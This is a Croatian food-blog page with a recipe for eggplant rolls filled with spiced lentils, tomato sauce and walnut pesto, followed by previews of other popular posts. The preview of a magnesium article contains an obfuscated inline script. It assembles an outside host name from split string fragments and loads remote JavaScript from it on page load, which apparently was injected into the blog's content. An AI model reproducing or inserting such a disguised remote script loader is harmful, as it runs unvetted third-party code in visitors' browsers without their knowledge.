ROLICE OD PATLIDŽANA S AROMATIČNOM LEĆOM I CRVENIM UMAKOM 🍆





Rolice od patlidžana s aromatičnom lećom i crvenim umakom 



Rolice od patlidžana punjene lećom jedno su od jela koja uspijevaju biti istovremeno zasitna, zdrava i vizualno vrlo efektna. Inspirirane mediteranskim okusima, spajaju pečeno povrće, začine i bogat umak od rajčice u idealan obrok za vruće ljetne dane.





Rolice od patlidžana s aromatičnom lećom i crvenim umakom 


Sastojci:

Za rolice od patlidžana:

2 velika patlidžana
maslinovo ulje
crveni luk
2 režnja češnjaka
žličica mljevenog kumina
žličica dimljene paprike
pola žličice cimeta
žlica koncentrata rajčice
250 g kuhane zelene leće
naribana korica jednog limuna
2 žlice nasjeckanog peršina
sol i papar

Za umak od rajčice:

400 g sjeckane rajčice iz konzerve
2 režnja češnjaka
žličica sušenog origana
prstohvat čili pahuljica (po želji)
žlica balzamičnog octa
sol i papar

Za pesto:

30 g oraha
15 g svježeg bosiljka
žličica svježeg ili sušenog timijana
režanj češnjaka
žlica limunova soka
2-3 žlice maslinova ulja
prstohvat soli



Priprema:


Zagrijte pećnicu na 200°C. Patlidžane narežite po dužini na tanke ploške. Premažite ih maslinovim uljem i rasporedite na lim obložen papirom za pečenje. Pecite 20-25 minuta da omekšaju. Za nadjev zagrijte malo maslinova ulja u tavi pa pirjajte nasjeckani luk dok ne omekša. Dodajte protisnuti češnjak začine i koncentrat rajčice te kratko promiješajte.

Umiješajte kuhanu leću, limunovu koricu i peršin. Začinite solju i paprom pa kuhajte još nekoliko minuta kako bi se okusi povezali. Za umak u manjem loncu pomiješajte sjeckanu rajčicu, češnjak, origano, čili pahuljice i balzamični ocat. Kuhajte 10-ak minuta na laganoj vatri pa začinite solju i paprom.

Na svaku plošku pečenog patlidžana stavite oko žlicu nadjeva od leće i pažljivo zarolajte. Na dno posude za pečenje rasporedite umak od rajčice i posložite rolice od patlidžana. Pecite na 180°C oko 30 minuta. Za pesto u blenderu usitnite sve sastojke pa ga premažite preko rolica prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više